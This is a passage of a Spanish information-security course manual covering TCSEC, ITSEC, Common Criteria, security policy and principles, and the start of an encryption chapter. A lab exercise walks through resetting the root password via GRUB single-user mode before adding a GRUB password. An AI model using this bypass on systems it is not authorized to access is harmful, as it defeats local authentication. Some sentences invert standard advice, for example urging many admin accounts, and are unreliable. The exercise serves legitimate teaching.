En este esquema consiste de dos características principales. Inicialmente, cada usuario es asociado con cierto nivel de seguridad (de forma similar al personal que trabaja en el gobierno de los Estados Unidos). De igual forma, cada recurso del sistema es asociado con otro nivel de seguridad, de tal forma que un usuario requiere tener cierto nivel de seguridad o igual o superior para accesar cierto recurso. La segunda característica consiste en que el control de acceso es obligatorio y no discrecional. Esto significa, que los recursos están inicialmente negados a los usuarios hasta que el administrador de seguridad confiere acceso a usuarios explícitos.

Clasificación C2 (Protección de Acceso Controlado):
Este es el nivel de seguridad al que aspiran llegar la mayoría de las implantaciones modernas de UNIX.

Requiere de DAC o control de acceso discrecional, donde un usuario puede otorgar permisos de acceso a ciertos archivos de forma granular (es decir, usuario por usuario; ej. listas de Control de Acceso de AIX). También requiere autentificación de usuarios lo cual es estándar en UNIX. Finalmente, se requiere un rastreo de actividades que permita realizar auditorías de seguridad.

Clasificación C1 (Protección de Seguridad Discrecional):
Este es el nivel al que pertenecen la mayoría de las implantaciones clásicas de UNIX (BSD, System V). Sólo requiere de autentificación de usuarios y que el control de acceso a recursos sea posible (discrecional). Esto se realiza por medio de permisos para el usuario, el grupo y otros.

Clasificación D (Mínimo):
Un ejemplo clásico son los sistemas MS-DOS, los cuales no tienen seguridad inherente.

El nivel C esa a menudo implementado en ambientes comerciales. Esto requiere que los propietario de los datos deben de ser capaces de determinar quien puede accesar a los datos lo cual es llamado Acceso de Control Discrecional (DAC):

- **Nivel C1:** Requiere que los usuarios deben de ingresar al sistema y permitir el ID del grupo.
- **Nivel C2:** Requiere que los usuarios individuales ingresen a la red con una contraseña y requiere un mecanismo de auditoría.

TCSEC es similar al ITSEC. Sin embargo, ITSEC clasifica la funcionalidad (F) y efectividad (E) separadamente. El nivel C2 de TCSEC es equivalente al nivel de ITSEC F-C2, E2.

Nivel C2 y F-C2, Requerimientos de E2
El requerimiento clave para C2 y F-C2, la clasificación E2 es que un sistema tiene ciertos aspectos de control de acceso discrecional, re-utilización del objeto, identificación y autenticación, y auditoria:

• Control de Acceso Discrecional
Control de Acceso Discrecional significa que el propietario de un recurso debe de estar disponible a controlar el acceso a ese recurso.

• Re-utilización del Objeto
La re-utilización del objeto debe ser controlado por el sistema operativo. Por lo tanto, cualquier momento en el que un programa o proceso usa un objeto, como la memoria, que fue usado anteriormente por otro programa o proceso, el contenido previo del objeto no puede ser determinado por el usuario nuevo del objeto.

• Identificación y Autenticación
El criterio requiere que cada usuario sea unicamente identificado por el sistema operativo y que el sistema operativo pueda almacenar una pista de todas las actividades de un usuario vía la identificación.

• Auditoria
El mayor requerimiento de C2/F-C2, el estado E2 es que el administrador del sistema esta disponible de auditar todo los eventos relacionado a la seguridad y las acciones de los usuarios individuales. Además, el dato auditado debe de ser accesible solo por el administrador de sistemas.

Criterio Común (CC)
El CC es un estándar que unifica los diferentes criterios de seguridad regional y nacional. tales como ITSEC y TCSEC, dentro de un documento estandarizado por ISO. El CC es actualmente el Estándar Internacional (IS) ISO 15408, el cual es la versión 2.1 del criterio común. Los dos documentos son técnicamente idénticos.

El CC especifica y evaluá las características de seguridad de los productos de computadores y sistemas. Este es el primer estándar internacional aceptado por Seguridad IT. Este es basado en los documentos ITSEC y TCSEC y piensa remplazarlos como un estándar mundial. Las partes que crearon el CC incluyen a La Seguridad Electrónica de Comunicación (Estados Unidos), La Organización de Establecimientos de Seguridad de

Comunicación y el Servicio Central de la Seguridad de Sistemas de Información (Francia).

El CC provee dos funciones básicas:

- Una manera estandarizada de describir los requerimientos, como la necesidad de seguridad, los productos y sistemas para satisfacer esas necesidades y el análisis y prueba de esos productos y los sistemas.
- Una base técnica confiable para la evaluación de las características de seguridad de los productos y sistemas.

Conceptos Claves

Hay tres conceptos esenciales para entender el CC. Los conceptos son en gran parte usados para la comunicación y procesos propuestos en determinar la seguridad correcta de los productos y sistemas dados para una situación específica. Esos Conceptos son:

• Protección de Perfiles (PP)

Este documento creado por los administradores IT, usuarios, desarrolladores de productos y otras partes definen un conjunto específico de necesidades de seguridad. El documento PP comunica las necesidades al fabricante.

• Blancos de Seguridad (ST)

Este es un estamento de los fabricantes que claman que seguridad un producto IT o sistema pueden proveer. Este contiene información especifica de los productos que explican como un producto o sistema en particular resuelve la necesidad de PP.

• Blanco de Evaluación (TOE)

Este es el producto o sistema IT que será evaluado. El producto debe de ser evaluado usando los requerimientos específicos de seguridad listados en los documentos PP y ST. Para cumplir con el CC, el producto debe de ser analizado y probado por una tercera parte acreditada.

EL Libro Naranja (The Orange Book)

Para estandarizar los niveles de seguridad, el gobierno de los Estados Unidos lanzo una serie de estándares definiendo una manera común de fijar los niveles. Estos estándares fueron lanzados en una serie de libros comúnmente llamados La Serie Arco-iris (The Rainbow Serie) por que cada libro tenia una cobertura de color diferente. De particular importancia fue el Libro Naranja. Este define una serie de estándares, que comienzan con D (El nivel más bajo) y continúa hasta el nivel A1 (El más seguro).

Desafortunadamente, estos estándares han sufrido una serie de problemas. El primer problema es la edad. Como todo en computación, los cambios en capacidades crean vacíos que se hacen más significantes a través del tiempo. Este situación, en conjunto con el factor de que el estándar fue diseñado específicamente para gobernar las entidades, ha causado que las agencias NSA y NIST lanzaran una nueva series de estándares llamados Programa de Prueba de tecnologia Confiable (TTAP). TTAP define siete niveles de seguridad, comenzando con el Nivel 1 de Evaluación de Seguridad (EAL) (el más bajo) y continuando hasta el EAL 7 (el más seguro). Para también combatir los problemas de largas tardanzas en la evaluación, el NSA y NIST están también certificando terceras partes para conducir las evaluaciones. Aunque todavía esta en temprano desarrollo, TTAP promete mostrar una ayuda en la estandarización de la seguridad en Grandes Industrias.

Elementos de Seguridad

A continuación se mostrará los elementos de seguridad más importante. También se muestra la jerarquía en que esos elementos están organizados. los niveles serán mostrados comenzando desde los más bajos:

1. Política de Seguridad Corporativa
2. Autentificación del Usuario
3. Encriptación y Control de Acceso
4. Auditoria y Administración

Cada uno de esos elementos opera en conjunto con los otros para asegurar que una Organización puede comunicarse lo más eficientemente posible. Al principio del Listado se encuentra Las políticas de Seguridad Corporativa, la cual establece la fundación de cualquier sistema de seguridad exitoso. Teniendo una política de seguridad no garantiza que se eliminarán los intrusos o la perdida de la información. Para esos ítemes, usted tiene que auditar cuidadosamente su red. Sin embrago, una política de seguridad lo hace proveer un fundamento para todas las acciones subsecuentes.

En esta sección, cubriremos los siguientes temas:

- Responsabilidad
- La Política de Seguridad
- Revisión
- El intercambio Seguro y las Desventajas

Responsabilidad

Los Administradores implementan y hacen cumplir las políticas de seguridad y auditan la actividad de los usuarios, procurando señalar los problemas de seguridad, los cuales pueden incluir actividad ilícita de un empleado, un sistema con un nivel bajo de parches o un intruso fuera de la red. La Administración y los Administradores seguridad deben de crear las políticas de seguridad corporativa por que esto provee los fundamentos para todas las actividades de la red.

La Política de Seguridad

Una política de seguridad informática es una forma de comunicarse con los usuarios, ya que la misma debe establecer un canal formal de actuación del personal, en relación con los recursos y servicios informáticos de la organización.

No se puede considerar que una política de seguridad informática es una descripción técnica de mecanismos de operación, ni una expresión legal que involucre sanciones a conductas de los empleados, es más bien una descripción de lo que deseamos proteger y él por qué de ello, pues cada política de seguridad es una invitación a cada uno de sus empleados a reconocer la información como uno de sus principales activos así como, un motor de intercambio y desarrollo en el ámbito de sus negocios. Por tal razón, las políticas de seguridad deben concluir en una posición consciente y vigilante del personal por el uso y limitaciones de los recursos y servicios informáticos.

Elementos de una Política de Seguridad Informática

Como una política de seguridad debe orientar las decisiones que se toman en relación con la seguridad, se requiere la disposición de todos los miembros de la empresa para lograr una visión conjunta de lo que se considera importante.

Las Políticas de Seguridad Informática deben considerar principalmente los siguientes elementos:

- Alcance de las políticas, incluyendo facilidades, sistemas y personal sobre la cual aplica.
- Objetivos de la política y descripción clara de los elementos involucrados en su definición.
- Responsabilidades por cada uno de los servicios y recursos informáticos aplicado a todos los niveles de la organización.
- Requerimientos mínimos para configuración de la seguridad de los sistemas que abarca el alcance de la política.
- Definición de violaciones y sanciones por no cumplir con las políticas.
- Responsabilidades de los usuarios con respecto a la información a la que tiene acceso.

Las políticas de seguridad informática, también deben ofrecer explicaciones comprensibles sobre por qué deben tomarse ciertas decisiones y explicar la importancia de los recursos. Igualmente, deberán establecer las expectativas de la organización en relación con la seguridad y especificar la autoridad responsable de aplicar los correctivos o sanciones.

Otro punto importante, es que las políticas de seguridad deben redactarse en un lenguaje sencillo y entendible, libre de tecnicismos y términos ambiguos que impidan una comprensión clara de las mismas, claro está sin sacrificar su precisión.

Por último, y no menos importante, el que las políticas de seguridad, deben seguir un proceso de actualización periódica sujeto a los cambios organizacionales relevantes, como son: el aumento de personal, cambios en la infraestructura computacional, alta rotación de personal, desarrollo de nuevos servicios, regionalización de la empresa, cambio o diversificación del área de negocios, etc.

Parámetros para Establecer Políticas de Seguridad

Es importante que al momento de formular las políticas de seguridad informática, se consideren por lo menos los siguientes aspectos:

- Efectuar un análisis de riesgos informáticos, para valorar los activos y así adecuar las políticas a la realidad de la empresa.
- Reunirse con los departamentos dueños de los recursos, ya que ellos poseen la experiencia y son la principal fuente para establecer el alcance y definir las violaciones a las políticas.
- Comunicar a todo el personal involucrado sobre el desarrollo de las políticas, incluyendo los beneficios y riesgos relacionados con los recursos y bienes, y sus elementos de seguridad.
- Identificar quién tiene la autoridad para tomar decisiones en cada departamento, pues son ellos los interesados en salvaguardar los activos críticos su área.
- Monitorear periódicamente los procedimientos y operaciones de la empresa, de forma tal, que ante cambios las políticas puedan actualizarse oportunamente.
- Detallar explícita y concretamente el alcance de las políticas con el propósito de evitar situaciones de tensión al momento de establecer los mecanismos de seguridad que respondan a las políticas trazadas.

Razones que Impiden la Aplicación de las Políticas de Seguridad Informática

A pesar de que un gran número de organizaciones canalizan sus esfuerzos para definir directrices de seguridad y concretarlas en documentos que orienten las acciones de las mismas, muy pocas alcanzan el éxito, ya que la primera barrera que se enfrenta es convencer a los altos ejecutivos de la necesidad y beneficios de buenas políticas de seguridad informática.

Otros inconvenientes lo representan los tecnicismos informáticos y la falta de una estrategia de mercadeo por parte de los Gerentes de Informática o los especialistas en seguridad, que llevan a los altos directivos a pensamientos como: "Más dinero para juguetes del Departamento de Sistemas".

Esta situación ha llevado a que muchas empresas con activos muy importantes, se encuentren expuestas a graves problemas de seguridad y riesgos innecesarios, que en muchos casos comprometen información sensitiva y por ende su imagen corporativa. Ante esta situación, los encargados de la seguridad deben confirmar que las personas entienden los asuntos importantes de la seguridad, conocen sus alcances y están de acuerdo con las decisiones tomadas en relación con esos asuntos.

Si se quiere que las políticas de seguridad sean aceptadas, deben integrarse a las estrategias del negocio, a su

misión y visión, con el propósito de que los que toman las decisiones reconozcan su importancia e incidencias en las proyecciones y utilidades de la compañía.

Finalmente, es importante señalar que las políticas por sí solas no constituyen una garantía para la seguridad de la organización, ellas deben responder a intereses y necesidades organizacionales basadas en la visión de negocio, que lleven a un esfuerzo conjunto de sus actores para administrar sus recursos, y a reconocer en los mecanismos de seguridad informática factores que facilitan la formalización y materialización de los compromisos adquiridos con la organización.

Revisión

La revisión es un aspecto importante de sobre todo plan de seguridad. Los mayoría de sistemas modernos pueden grabar todas sus actividades en archivos logs. Esos logs le habilitan determinar la eficacia de la implementación de su seguridad. A través de esa actividad de los logs, usted puede usualmente determinar como y si una actividad no permitida ocurrió.

Revisión Pasiva y Activa

En la revisión pasiva, el computador simplemente graba las actividades. Por lo tanto, la revisión pasiva no es un mecanismo de detección a tiempo real por que alguien tiene que revisar los logs y luego actuar en base a la información que estos contienen. Los principios de la revisión pasiva demandan que usted tome acciones pro-activas y preventivas. También, cuando se esta revisando pasivamente, asegúrese de que su infraestructura los menos recursos posibles del sistema.

La revisión activa envuelve respuesta activas para el acceso ilícito no autorizado y el acceso de los intrusos. Las respuestas deben de incluir:

• La finalización de la sesión
• El bloqueo de ciertos host (incluyendo sitios web, servidores FTP y servidores de email)
• Buscando actividad ilícitas detrás del punto de origen.

Por el tiempo que toma verificar y descifrar los logs o bitácoras, usted debe balancear sus tiempo entre las revisiones y otras tareas. Muchas revisiones colocan mucho estrés sobre los recursos del sistemas. Muy pocas podrían amenazar su seguridad porque usted puede estar disponible para determinar y detectar una actividad cracker.

Intercambio Seguro y las Desventajas

Muy a menudo, los requerimientos administrativos de las implementaciones de seguridad no son considerados durante la fase del diseño. Los requerimientos de seguridad siempre involucran algunas desventajas, incluyendo:

- Incremento de la Complejidad
- Usted deberá de entrenar los usuarios finales para usar las medidas de seguridad que se requieren.
- Tiempo Lento de Respuesta del Sistema
- Mecanismos de Autentificación, Revisión y Encriptación puede degradar el funcionamiento.

Tiempo y esfuerzo son requeridos para aprender nuevas interfaces de software y técnicas. Usted puede elegir software y hardware que sean fáciles de usar. Además de los beneficios obvios, tales como reducir costos, permitir miembros de la directiva la flexibilidad de invertir más tiempo ajustando y mejorando la seguridad. Entre los elementos a considerar incluyen:

- Facilidad de Instalación

- Una interfaz Intuitiva
- Efectivo soporte al cliente

Principios de Seguridad

Aunque las implementaciones especificas de seguridad son siempre únicas, diez principios fácilmente de identificar son comunes en todas las redes:

- Ser Paranoico
- Tener un Política de Seguridad
- No Soportes de Sistemas o Técnicas Solamente
- Minimizar el Daño
- Despliegue de los Esfuerzos de las Grandes Compañías
- Proveer Entrenamiento
- Usar una Estrategia de Seguridad Integrada
- Usar los Equipos de acuerdo a las Necesidades
- Identificar los Temas de Negocios de Seguridad
- Considerar la Seguridad Física

Ser Paranoico

Aunque la palabra paranoico parece ser una exageración, si usted no esta sospechoso hasta el punto de paranoia, usted probablemente no esta siguiendo sus políticas de seguridad tan diligentemente como debería. Al nivel personal, asumir que desde una vez usted esta conectado a Internet, usted ya es un blanco de ataque. A nivel de red, al diseñar su sistema de seguridad usted debe hacerlo asumiendo que la entrada de un cracker será evitada. Esta asunción asegurará que usted aplique tantas técnicas como sean necesarias y posibles en todos los niveles. Organizar un backup, para de esta manera si un cracker logró acceso por un área, establecer otra área con el backup para contener y evitar que la actividad del cracker hacia áreas de trabajo real. Este principio de seguridad es simple, pero puede salvar su red completa.

La minimización de las amenazas es un resultado de usar los principios de seguridad apropiadamente, aunque estos parezcan ser demasiado precautorios en los ojos de otros. Por ejemplo, si usted usa un control de acceso apropiado, un cracker el cual haya robado un usuario legitimo estará disponible para accesar solo lo que el usuario puede accesar. En otras palabras, si un cracker puede asumir la identidad de un miembro de su organización, este solo podrá disponer de los mismos archivos y sistemas que el usuario legitimo. Definir las responsabilidades y acceso de un usuario, es un elemento clave de minimizar las amenazas.

Otra manera de asegurarse es preparando su sistema. Si usted protege sus archivos FTP separadamente de sus archivos Web, la penetración de la seguridad de su Web no significa que sus archivos de FTP también han sido violados.

El motivo principal para inventar y usar tales técnicas es la expectativa de que algo ira mal y que alguien que este fuera trate de que las cosas vayan mal. Pocas cosas motivan a las personas más que el miedo mismo, así que no subestime esta perspectiva cuando esta asegurando su sistema.

Tener una Política de Seguridad

Una política de seguridad es el fundamento en la que todas las decisiones concernientes a seguridad están hechas. Si usted no tiene una política de seguridad efectiva, su implementación actual será inconsistente,

proveyendo puntos de acceso a los crackers.

Un cracker generalmente busca por una debilidad para entrar por esta. Si esa debilidades pasan por alto por defecto o los bugs en el sistema operativo, ellas existen por que las políticas de seguridad no recuerdan al administrador de sistema de los pasos esenciales a tomar cuando se mejora el sistema operativo, se agregan usuarios o un nuevo programa. Una política de seguridad cuidadosa lo ayuda tales descuidos y lo habilita a tomar decisiones consistentes tanto como asegura su sistema.

Una política de seguridad define cada regla que será seguida e incluye explicaciones claras de este propósito. Una política de seguridad imprecisa y obscura puede no transportar la base de los valores de la seguridad, roles y responsabilidades de la organización.

No Soporte de Sistemas o Técnicas Solamente

Un sistema de seguridad exitoso es una matriz,, o combinación de métodos individuales, técnicas y subsistemas. Cuando sea posible, usted puede usar tantos principios de seguridad y técnicas como usted pueda para proteger cada recurso. Por ejemplo, una red que confía solamente en la autentificación no esta tan segura como una que combina autentificación, control de acceso y encriptación. Similarmente, su sitio esta mejor protegido por el filtrado de paquetes del router combinado con un firewall respaldado por la autentificación de usuarios y la detección de intrusos. Otro término para estos principios es la defensa a profundidad.

El uso de múltiples técnicas y tecnologías en cualquier punto le permite a usted protegerse en contra de las debilidades de cada técnica individual mientras mejora la seguridad total efectiva. Como su sistema de seguridad se desarrolla, usted basará esta elecciones sobretodo en el balance del sistema. Un balance debe de ser obtenido, porque usted puede implementar demasiado métodos, de nuevo resultando en que la seguridad sea menos efectiva por razones de inoperabilidad. El factor más critico es analizar cada método de protección para cubrir debilidades y determinar si usted puede reducir las debilidades usando un método adicional o quizás dos pero sin sobre extenderse, ni colocar carga innecesaria.

Las ofertas de productos empaquetados, tecnologia o soluciones ofrecen total protección en contra de todas las amenazas. Usted necesita empleados y recursos dedicados para realizar una buena función de seguridad. La seguridad no esta solo en la etapa de instalación, mantenimiento o ninguna de las áreas, sino en todas. Matemáticamente hablando, la vulnerabilidad 0 puede ser alcanzada solo por un tiempo y recursos infinitos, ni uno ni otros de los cuales puede ser obtenido.

Minimizar el Daño

Usando múltiples técnicas en cada dispositivo y en todo nivel, usted puede limitar el daño perpetuado por un cracker. Por ejemplo usted puede complementar su firewall con una técnica de encriptación tal como Secure Multipurpose Internet Mail Extensions (S/MIME) para asegurar sus E-mail.

Despliegue del Esfuerzo de Grandes compañías

Muy a menudo, las organizaciones desarrollan políticas de seguridad, y luego los administradores no hacen cumplir las reglas. Los Administradores de Sistema y Seguridad le darán sus cuentas de usuario a otros, con acceso a la cuenta de root o acceso como el administrador. Ellos no se darán cuenta que este tipo de acceso es un problema porque los administradores conocen como no dañar accidentalmente un sistema o realizar otras como acciones comprometedoras, pero la mayoría de usuarios normalmente no conocen como evitar esos problemas. Los crackers trataran de localizar tales cuentas y concentrarse en penetrarlos en vez de a otras cuentas de alta seguridad.

Los ejecutivos de la compañías también tienden a evitar las medidas de seguridad, porque esas medidas pueden parecer inconvenientes para alguien quien debe accesar rápido la información tan rápido como sea posible. En compañías pequeñas, la mayoría de los propietarios desean los derechos de root simplemente porque son los jefes. Una buenas regla es tener tanta cuentas administrativas como sea posible. Algunas personas piensan que hasta la más incorruptible medida de seguridad es un perdida de tiempo y será ignorada por estos o trataran accesos directo evadiéndola.

Estas aparentemente inocente actividades innecesarias crean un hueco que los crackers pueden descubrir y usar para lograr acceso no autorizado. Aunque el plan de una compañía debe hacer que cada quien este a cualquier nivel de seguridad.

Proveer Entrenamiento

Los entrenamientos apropiados es una de las más efectiva y fáciles medidas de seguridad que usted puede poner en práctica. Un ejecutivo, con una sección de una hora de entrenamiento por ejemplo en la selección de contraseñas apropiadas y seguras puede dramáticamente incrementar los niveles de seguridad.

A continuación esta una lista de entrenamientos recomendados para cada uno de los tres niveles:

• Usuarios Finales

Los usuarios deben de estar informados de las nuevas amenazas que son introducidos en la Web. Usted puede notificarlos vía los mensajes de email empresariales o llamado a conferencias.

• Administradores

Los administradores de seguridad deben de recordar informar sobre las ultimas amenazas y contra-medidas. Una buena idea es asignar a cada administrador de seguridad un tema o área. Por ejemplo, un administrador de seguridad puede mantenerse actualizado con informes de las últimas amenazas, con las herramientas y técnicas de los mismo crackers.

• Ejecutivos

Los ejecutivos necesitan ser mantenidos enterados de las ultimas herramientas que pueden ser usadas para mantener la seguridad de un sitio actualizada. Una técnica útil es decirle a los ejecutivos de un acceso ilegal a un sitio relacionado.

En algunas situaciones usted necesita conducir las secciones de entrenamiento para los usuarios finales, así pueden usar herramientas apropiadas que usted desea implementar.

Usar una Estrategia de Seguridad Integrada

Encuentre como cada departamento implementa la estrategia de seguridad. Proteger en contra que cada departamento tenga sus propias políticas o que interprete las políticas por separado, de tal modo que la implementación de la estrategia de seguridad lo que haga es crear agujeros de seguridad. De nuevo, asegúrese de que todos los niveles de su organización, incluyendo ejecutivos, están siguiendo la estrategia diseñada.

Los administradores de sistema y los oficiales de seguridad deben siempre mantener la vista en todos los componentes de sus redes. La seguridad de un sitio puede ser fácilmente derrotada por un sistema pobremente asegurado, en el cual un administrador de sistemas no esta al tanto ya que el nunca lo usa. A continuación le mostraremos una situación hipotética: El administrador de seguridad de un sitio ha hecho un buen trabajo asegurando todos los recursos de su red. Una versión nueva de un sistema operativo pronto será lanzado, y el departamento de investigación y desarrollo ha obtenido una versión beta del producto. El departamento I&D instala el sistema beta en una maquina de prueba para experimentar con el nuevo software. Un cracker esta tratando de accesar ilícitamente la organización y empieza escaneando la red. El cracker encuentra una red bien

protegida excepto por una máquina. El cracker penetra esta computadora y lanza todos los ataques desde esta máquina. El administrador de seguridad no esta en la expectativa del ataque que se origina dentro de la red de la compañía. El cracker probablemente instalará un Sniffer de paquetes en el computador accesado y esperará capturar una contraseña administrativa.

Forzando a que todos los departamentos agreguen las políticas de seguridad, problemas como este mencionado anteriormente pueden ser fácilmente prevenidos.

Usar los Equipos de Acuerdo a las Necesidades

Es fácil quedar atrapado en el deseo de comprar los últimos equipos y software. Usted debería, sin embargo, siempre considerar como cualquier tecnologia complementa sus necesidades. Para hacer esto, usted debe de tomar los siguientes pasos:

- Conduzca prueba de revisión de necesidad
- Consulte con la Administración para que determine las necesidades especificas.
- Determinar como una nueva tecnologia afectaría las rutinas diarias en todos los niveles.
- Trabajar con la Administración para asegurar los fondos.
- Conduzca las investigaciones para determinar los productos apropiados para su organización.

Identificar los Temas de los Negocios de Seguridad

Rápidamente la seguridad se ha convertido en un tema central de los negocios, principalmente por los costos que esta involucra. Los inversionistas y los clientes se han tornado más interesados en hacer que las compañías hayan llevado a cabo todo lo que hay que hacer para asegurarse. Por lo tanto, los Administradores de IT y los presidentes de las compañías están interesados en proveer lo que han mostrado debido a las diligencias cuando están asegurando sus redes. Haciendo esto se ayuda a que el negocio asegure el financiamiento y mantenga una imagen positiva de la compañía. Las grandes compañías han identificado las maneras de manejar y justificar los mayores costos de seguridad.

Temas de Negocio y Latencia de la Red

La latencia es la medida de tiempo necesitada para que una respuesta pueda ser procesada entre un cliente y un servidor. La seguridad puede incrementar la latencia de la red por el tiempo extra que esta necesita para encriptar los paquetes. Las medidas de seguridad pueden afectar también al negocio y al usuario de la siguiente manera:

• Incremento del costo

Muchas soluciones de seguridad son costosas. Las licencias y/o implementaciones de firewalls por un sitio pueden constar US$20,000.00 ó más.

• Inconvenientes

Nuevos programas y procedimientos pueden in-convenir a los usuarios, especialmente los usuarios que viajan a menudo y aquellos que trabajan desde conexiones remotas. Recuerde de hacer que los usuarios finales estén enterados de que aunque tendrán inconveniente levemente en lo inmediato, los beneficios a largo plazo les ahorrará tiempo y tranquilidad a la compañía.

La Seguridad Física

Muchas corporaciones u organizaciones han implementados software de seguridad sofisticada solo para tener su sistema seguro ya que la misma no esta asegurada físicamente. A menudo, una organización ubicara su firewall y redes en una área publica, exponiéndolos a que sean forzados. Otros olvidaran restringir el acceso a las habitaciones seguras. Otras consideraciones son también importantes para la seguridad física.

A menudo, un cracker usará una brecha física no asegurada de su organización para explotar un agujero de seguridad de Internet para atacar a terceros entrando a través de su sistema. Tales brechas pueden incluir:

- Una puerta abierta en la habitación que contiene el equipo de firewall.
- Un empleado que elimine o introduzca información manualmente.
- Un empleado que divulgue las contraseñas y otras informaciones.
- Un empleado que accidentalmente le instale una aplicación con vulnerabilidad al sistema. La mayoría de las vulnerabilidades son el resultado de una actividad benigna de un usuario, tales como un desconocido que trae un disco de actividades sociales desde sus casa.

Las preguntas que debe de hacerse concernientes a la seguridad física deben de incluir:

- ¿Está el firewall de la compañía ubicado en la habitación apropiada?
- ¿Están las maquinas de redes (router, servidor Web, servidor FTP, así sucesivamente.) sujetados o monitoreados?
- ¿Está algún empleado trabajando sólo en un área sensible?

Métodos de Vigilancia

Las opciones para incrementar la seguridad física incluyen:

- Reemplazar los seguros de llaves con contraseñas de acceso.
- Ubicar los servidores dentro de una habitación encerrado.
- Instalar equipos de vigilancias por video.

Una compañía, provee una manera ambigua e incrementar la seguridad física. Esta ofrece una cámara digital que pude ser configurada para actuar como una clase de Tripwire. Siempre que cualquiera camine en frente de la cámara, esta le toma una foto, luego transmite la imagen vía email o por otra vía. Esta estrategia puede probar que es absolutamente útil en configuraciones sensibles.

Ejercicio 1-1: Use el Single Boot Mode de GNU/Linux

En este ejercicio, usted conducirá un ataque físico en contra de una Distro de GNU/Linux. No se proveen soluciones para este ejercicio.

1. Reinicie su computador entre al GRUB y escriba en la instancia del kernel lo siguiente: single
2. Linux se lanzará en usuario single mode. Usted es el usuario root. Cambie la contraseña a cualquiera que desee. Note que si usted entra una contraseña que es muy corta, usted recibirá un mensaje de Advertencia: “BAD PASSWORD: it is based on a dictionary word.”. Usted puede ignorar este mensaje por ahora por que usted es root.

   ```
   # passwd
   New UNIX password
   Retype new UNIX password
   passwd: all authentication tokens updated sucessfully
   ```
3. Ahora, reinicie su sistema:
   # shutdown -r now
4. Ingrese a GNU/Linux usando su nueva contraseña.
5. Cambie nuevamente su contraseña a su contraseña anterior.
6. # passwd root
   New UNIX password
   Retype new UNIX password

passwd: all authentication tokens updated su

7. Para agregar algo de seguridad para el usuario single mode, agregue el siguiente código mostrado a continuación. Editamos el archivo /boot/grub/menu.lst

password=password que desea (en este ejercicio no encriptada)

Note la entrada restringida. Ahora cuando desea entrar en el menú de GRUB le preguntará por la contraseña que coloco en el archivo de menu.lst. Usted ahora dispone de una medida de seguridad física para su sistema.

Nota: Aunque este ejercicio agrega una medida de protección a la seguridad física de un sistema, medidas adicionales pueden ser necesitadas. Configurando el BIOS para prevenir que inicien desde un medio removible realzando la seguridad del sistema pero puede, en otra parte, ser sobrepasado por un individuo con conocimientos, con acceso físico y un destornillador.

Resumen

En este capítulo, discutimos los conceptos de seguridad de la información. Algunos de los temas claves fueron:

- Existió, Existe y Existirá la necesidad para políticas y medidas de seguridad.
- El significado, alcance, y proceso de la seguridad de información es amplio y cruza las fronteras de los directivas y técnicas.
- La clasificación de los sistemas y pruebas de riesgos que son necesarias en la determinación de las políticas de seguridad deseadas.
- La ética es un fundamento importante para la seguridad de la información, incluyendo elementos de códigos éticos específicos del GNU y del Consorcio Internacional de Certificación de Sistemas de Seguridad (ISC)2.
- La evaluación de los criterios estándares de seguridad, el TCSEC y el CC servido como una base para la especificación de la seguridad.
- Muchos conceptos y principios son el centro de la seguridad de la información de los niveles de seguridad cueste lo que cueste, sistemas operativos y modelos de negocio.

Preguntas Post-Examen

Las respuestas a estas preguntas están en el Apéndice A.

1. ¿Qué importancia tiene una política de seguridad en una organización?
2. ¿Cuáles son los tres niveles generales de seguridad para clasificar los sistemas?
3. ¿Qué es el CERT?
4. ¿Cuáles son los componentes de una matriz efectiva de seguridad?
5. ¿Cuáles son los tres componentes claves para entender el Criterio Común (CC)?
6. ¿Cuáles son los seis elementos, definidos por ISO, que están disponibles para ayudar a los profesionales de seguridad para una implementación apropiada de seguridad?

CAPITULO 2

SEGURIDAD

DEL SISTEMA OPERATIVO GNU/LINUX

ENCRIPTACION

OBJETIVOS:

Al completar este capítulo, usted podrá:

- Diferenciar entre un bloque y un flujo de bits
- Listar las formas especificas de encriptación simétrica, asimétrica y de Bit.
- Listar los programas comunes de encriptación y describir su estructura básica.
- Listar y describir los programas comunes usados en la encriptación .
- Comparar y contrastar PGP y GPG; describir el desarrollo de GPG.
- Describir el rol de los certificados en el establecimiento de transacciones seguras entre múltiples clientes así como las autoridades del certificado.
- Implementar llaves PGP en GNU/Linux.

Preguntas Pre-Examen

1. ¿Cuál es la definición de seguridad proveída por la Organización Internacional de Estandarización?
2. ¿Cuál es el primer paso que usted debería tomar en orden de alojar efectivamente los recursos de seguridad y reducir los riesgos en su Organización.
3. ¿Defina algunos métodos claves de emplear seguridad en un ambiente de red?
4. Los administradores de red los cuáles crean una pared de seguridad alrededor del perímetro de su red en contra de los ataques en Internet deben de sentirse seguros debido a su esfuerzo. ¿Qué más debería de hacer un administrador para monitorear su red con eficacia?

INTRODUCCION

Hay muchas aplicaciones que se benefician de usar encriptación. La encriptación puede proteger los datos confidenciales o puede ayudar a autentificar a los usuarios. Usted también puede usar encriptación para asegurar la confidencialidad y la integridad de sus datos. En este capitulo, discutiremos los conceptos fundamentales de la encriptación y las diferencias entre las encriptaciones simétricas, asimétricas y de bits.

Conceptos de Encriptación

La encriptación es el proceso de codificar la información, de esta manera es difícil para otros leerla o modificarla. La encriptación se ha convertido en una parte importante de la seguridad computacional. Esta es usada en un amplio rango de áreas, incluyendo autentificación de contraseñas, seguridad de redes, firmas digitales y seguridad de email. En esta sección cubriremos:

- Historia de la Encriptación
- Terminología de Encriptación
- Categorías de Encriptación
- Métodos de Aplicación
- Que Provee la Encriptación
- La Fuerza de la Encriptación
- Procesamiento Paralelo y en Ronda
- La Encriptación Fuerte y las Leyes de Exportación de la Encriptación (U.S.)

Historia de la Encriptación

La encriptación ha existido por siglos. Leonardo DaVinci escribió su diario personal al revés así solo podía leerse usando un espejo. Hasta Julio Cesar usaba encriptación para asegurar los mensajes a su gobierno, usando una formula matemática simple. Aunque el proceso matemático actual es mucho mas sofisticado. El algoritmo de Cesar sirve como un buen ejemplo de como trabaja la encriptación. Un mensaje, por ejemplo *I am Cesar* seria encriptado moviendo cada letra del mensaje tres caracteres mas altos en el alfabeto. Así, el mensaje se convertiría en “L dp Fdhvhu”. Sin conocimiento de la formula matemática, difícil llegar que es el mensaje encriptado. Conociendo la formula, es trivial revertir el proceso, moviendo las letras tres caracteres abajo en el alfabeto para derivar el mensaje original.

Los gobiernos alrededor del mundo han continuado usando encriptación para proteger sus secretos en tiempos de guerra y de paz. Durante la Segunda Guerra Mundial, los aliados usaron dispositivos de encriptación /desencriptación para romper códigos Axis. A través de esta rotura de tecnologia en encriptación/ desencriptación, los computadores se convirtieron en una grapa de campos científicos de encriptación, llamado criptografía.

Terminología de Encriptación

